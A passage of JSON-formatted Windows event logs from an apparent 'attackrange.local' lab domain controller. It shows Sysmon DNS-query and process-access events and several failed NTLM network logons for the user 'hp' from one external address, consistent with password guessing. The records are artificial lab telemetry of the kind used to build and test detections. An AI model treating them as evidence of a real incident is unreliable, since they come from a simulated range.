C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.662","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.DomainDnsZones.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2449,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.664\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.664","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2450,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.666\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: ForestDnsZones.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.666","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"ForestDnsZones.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2451,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.667\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.ForestDnsZones.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.667","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.ForestDnsZones.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2452,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.669\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.669","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2453,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.753\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nProcessId: 1368\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.753","ProcessGuid":"{90617006-3FD4-5F2D-0000-00105BD20000}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:25","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221684,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t50903\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"50903","EventReceivedTime":"2020-08-07 11:50:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221685,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t51015\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"51015","EventReceivedTime":"2020-08-07 11:50:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221686,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t51160\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"51160","EventReceivedTime":"2020-08-07 11:50:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221687,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t51345\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"51345","EventReceivedTime":"2020-08-07 11:50:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2454,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.764\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nProcessId: 1368\r\nQueryName: attackrange.local\r\nQueryStatus: 0\r\nQueryResults: type: 2 win-dc-9849183.attackrange.local;10.0.1.14;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.764","ProcessGuid":"{90617006-3FD4-5F2D-0000-00105BD20000}","QueryName":"attackrange.local","QueryStatus":"0","QueryResults":"type: 2 win-dc-9849183.attackrange.local;10.0.1.14;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2455,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2456,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2457,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 